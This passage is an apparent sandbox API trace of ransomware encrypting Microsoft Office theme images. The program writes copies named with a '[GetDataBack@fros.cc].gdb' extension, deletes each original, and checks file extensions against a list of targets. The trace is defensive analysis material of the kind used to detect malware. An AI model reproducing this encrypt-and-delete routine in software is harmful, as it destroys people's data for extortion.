Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG") returned 76 [0128.069] lstrlenW (lpString=".jpg") returned 4 [0128.069] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0128.070] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0128.070] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0128.070] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0128.353] GetLastError () returned 0x0 [0128.353] ReadFile (in: hFile=0x218, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x8a1, lpOverlapped=0x0) returned 1 [0128.362] WriteFile (in: hFile=0x1b0, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x8b0, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x8b0, lpOverlapped=0x0) returned 1 [0128.480] ReadFile (in: hFile=0x218, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0128.480] WriteFile (in: hFile=0x1b0, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xea, lpOverlapped=0x0) returned 1 [0128.480] SetEndOfFile (hFile=0x1b0) returned 1 [0128.480] CloseHandle (hObject=0x1b0) returned 1 [0128.480] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0128.480] SetEndOfFile (hFile=0x218) returned 1 [0128.481] CloseHandle (hObject=0x218) returned 1 [0128.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0128.481] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 1 [0128.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0128.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0128.482] lstrlenW (lpString=".doc") returned 4 [0128.482] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0128.482] lstrlenW (lpString=".docx") returned 5 [0128.482] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0128.482] lstrlenW (lpString=".pdf") returned 4 [0128.482] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0128.482] lstrlenW (lpString=".xls") returned 4 [0128.482] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0128.482] lstrlenW (lpString=".xlsx") returned 5 [0128.482] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0128.482] lstrlenW (lpString=".ppt") returned 4 [0128.482] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0128.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0128.482] lstrlenW (lpString=".zip") returned 4 [0128.482] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0128.482] lstrlenW (lpString=".rar") returned 4 [0128.482] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0128.482] lstrlenW (lpString=".bz2") returned 4 [0128.482] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0128.482] lstrlenW (lpString=".7z") returned 3 [0128.482] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0128.482] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0128.482] lstrlenW (lpString=".dbf") returned 4 [0128.482] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0128.483] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0128.574] lstrlenW (lpString=".1cd") returned 4 [0128.574] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0128.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0128.574] lstrlenW (lpString=".jpg") returned 4 [0128.574] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0128.742] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0128.742] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0128.742] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0128.743] GetLastError () returned 0x0 [0128.743] ReadFile (in: hFile=0x204, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x82c7, lpOverlapped=0x0) returned 1 [0128.745] WriteFile (in: hFile=0x1b0, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x82d0, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x82d0, lpOverlapped=0x0) returned 1 [0128.747] ReadFile (in: hFile=0x204, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0128.747] WriteFile (in: hFile=0x1b0, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xec, lpOverlapped=0x0) returned 1 [0128.747] SetEndOfFile (hFile=0x1b0) returned 1 [0128.747] CloseHandle (hObject=0x1b0) returned 1 [0128.748] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0128.748] SetEndOfFile (hFile=0x204) returned 1 [0128.749] CloseHandle (hObject=0x204) returned 1 [0128.749] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0128.749] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 1 [0128.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0128.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0128.750] lstrlenW (lpString=".doc") returned 4 [0128.750] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0128.750] lstrlenW (lpString=".docx") returned 5 [0128.750] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0128.750] lstrlenW (lpString=".pdf") returned 4 [0128.750] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0128.750] lstrlenW (lpString=".xls") returned 4 [0128.750] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0128.750] lstrlenW (lpString=".xlsx") returned 5 [0128.750] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0128.750] lstrlenW (lpString=".ppt") returned 4 [0128.750] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0128.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0128.750] lstrlenW (lpString=".zip") returned 4 [0128.750] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0128.750] lstrlenW (lpString=".rar") returned 4 [0128.750] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0128.750] lstrlenW (lpString=".bz2") returned 4 [0128.750] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0128.750] lstrlenW (lpString=".7z") returned 3 [0128.750] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0128.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0128.750] lstrlenW (lpString=".dbf") returned 4 [0128.750] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0128.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0128.750] lstrlenW (lpString=".1cd") returned 4 [0128.750] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0128.751] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0128.751] lstrlenW (lpString=".jpg") returned 4 [0128.751] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0128.760] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0128.760] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0128.760] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0128.760] GetLastError () returned 0x0 [0128.760] ReadFile (in: hFile=0x200, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x47cc, lpOverlapped=0x0) returned 1 [0128.764] WriteFile (in: hFile=0x204, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x47d0, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x47d0, lpOverlapped=0x0) returned 1 [0128.765] ReadFile (in: hFile=0x200, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0128.765] WriteFile (in: hFile=0x204, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xec, lpOverlapped=0x0) returned 1 [0128.765] SetEndOfFile (hFile=0x204) returned 1 [0128.765] CloseHandle (hObject=0x204) returned 1 [0128.766] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0128.766] SetEndOfFile (hFile=0x200) returned 1 [0128.767] CloseHandle (hObject=0x200) returned 1 [0128.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0128.767] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 1 [0128.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0128.767] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0128.767] lstrlenW (lpString=".doc") returned 4 [0128.767] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0128.767] lstrlenW (lpString=".docx") returned 5 [0128.767] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0128.768] lstrlenW (lpString=".pdf") returned 4 [0128.768] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0128.768] lstrlenW (lpString=".xls") returned 4 [0128.768] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0128.768] lstrlenW (lpString=".xlsx") returned 5 [0128.768] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0128.768] lstrlenW (lpString=".ppt") returned 4 [0128.768] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0128.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0128.768] lstrlenW (lpString=".zip") returned 4 [0128.768] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0128.768] lstrlenW (lpString=".rar") returned 4 [0128.768] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0128.768] lstrlenW (lpString=".bz2") returned 4 [0128.768] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0128.768] lstrlenW (lpString=".7z") returned 3 [0128.768] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0128.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0128.768] lstrlenW (lpString=".dbf") returned 4 [0128.768] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0128.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0128.768] lstrlenW (lpString=".1cd") returned 4 [0128.769] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0128.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0128.769] lstrlenW (lpString=".jpg") returned 4 [0128.769] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0128.769] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0128.769] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0128.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0128.771] GetLastError () returned 0x0 [0128.771] ReadFile (in: hFile=0x200, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x137f, lpOverlapped=0x0) returned 1 [0128.773] WriteFile (in: hFile=0x204, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0x1380, lpOverlapped=0x0) returned 1 [0128.786] ReadFile (in: hFile=0x200, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0128.786] WriteFile (in: hFile=0x204, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xea, lpOverlapped=0x0) returned 1 [0128.786] SetEndOfFile (hFile=0x204) returned 1 [0128.786] CloseHandle (hObject=0x204) returned 1 [0128.787] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0128.787] SetEndOfFile (hFile=0x200) returned 1 [0128.787] CloseHandle (hObject=0x200) returned 1 [0128.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0128.788] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif")) returned 1 [0128.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0128.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0128.788] lstrlenW (lpString=".doc") returned 4 [0128.788] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0128.788] lstrlenW (lpString=".docx") returned 5 [0128.788] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0128.788] lstrlenW (lpString=".pdf") returned 4 [0128.789] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0128.789] lstrlenW (lpString=".xls") returned 4 [0128.789] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0128.789] lstrlenW (lpString=".xlsx") returned 5 [0128.789] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0128.789] lstrlenW (lpString=".ppt") returned 4 [0128.789] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0128.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0128.789] lstrlenW (lpString=".zip") returned 4 [0128.789] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0128.789] lstrlenW (lpString=".rar") returned 4 [0128.789] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0128.789] lstrlenW (lpString=".bz2") returned 4 [0128.789] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0128.789] lstrlenW (lpString=".7z") returned 3 [0128.789] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0128.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0128.789] lstrlenW (lpString=".dbf") returned 4 [0128.789] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0128.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0128.789] lstrlenW (lpString=".1cd") returned 4 [0128.789] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0128.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF") returned 76 [0128.789] lstrlenW (lpString=".jpg") returned 4 [0128.789] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0128.790] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0128.790] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0128.790] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0128.790] GetLastError () returned 0x0 [0128.790] ReadFile (in: hFile=0x200, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0xad0e, lpOverlapped=0x0) returned 1 [0128.794] WriteFile (in: hFile=0x204, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xad10, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xad10, lpOverlapped=0x0) returned 1 [0128.796] ReadFile (in: hFile=0x200, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0x0, lpOverlapped=0x0) returned 1 [0128.796] WriteFile (in: hFile=0x204, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xec, lpOverlapped=0x0) returned 1 [0128.796] SetEndOfFile (hFile=0x204) returned 1 [0128.797] CloseHandle (hObject=0x204) returned 1 [0128.797] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0128.797] SetEndOfFile (hFile=0x200) returned 1 [0128.798] CloseHandle (hObject=0x200) returned 1 [0128.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0128.799] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png")) returned 1 [0128.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0128.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0128.799] lstrlenW (lpString=".doc") returned 4 [0128.799] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0128.799] lstrlenW (lpString=".docx") returned 5 [0128.799] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0128.799] lstrlenW (lpString=".pdf") returned 4 [0128.799] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0128.799] lstrlenW (lpString=".xls") returned 4 [0128.799] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0128.799] lstrlenW (lpString=".xlsx") returned 5 [0128.799] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0128.800] lstrlenW (lpString=".ppt") returned 4 [0128.800] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0128.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0128.800] lstrlenW (lpString=".zip") returned 4 [0128.800] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0128.800] lstrlenW (lpString=".rar") returned 4 [0128.800] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0128.800] lstrlenW (lpString=".bz2") returned 4 [0128.800] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0128.800] lstrlenW (lpString=".7z") returned 3 [0128.800] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0128.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0128.800] lstrlenW (lpString=".dbf") returned 4 [0128.800] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0128.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0128.800] lstrlenW (lpString=".1cd") returned 4 [0128.800] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0128.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0128.800] lstrlenW (lpString=".jpg") returned 4 [0128.800] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0128.800] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0128.801] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x204fcf0 | out: lpNewFilePointer=0x0) returned 1 [0128.801] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\preview.gif.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0128.951] GetLastError () returned 0x0 [0128.951] ReadFile (in: hFile=0x200, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x204fcfc, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesRead=0x204fcfc*=0xa6c, lpOverlapped=0x0) returned 1 [0129.029] WriteFile (in: hFile=0x1d4, lpBuffer=0x3180020*, nNumberOfBytesToWrite=0xa70, lpNumberOfBytesWritten=0x204fac4, lpOverlapped=0x0 | out: lpBuffer=0x3180020*, lpNumberOfBytesWritten=0x204fac4*=0xa70, lpOverlapped=0x0) returned 1 [0129.030] ReadFile (in: hFile=0x200, lpBuffer=0x3180020, nNumberOfBytesToRead=0xffff0, 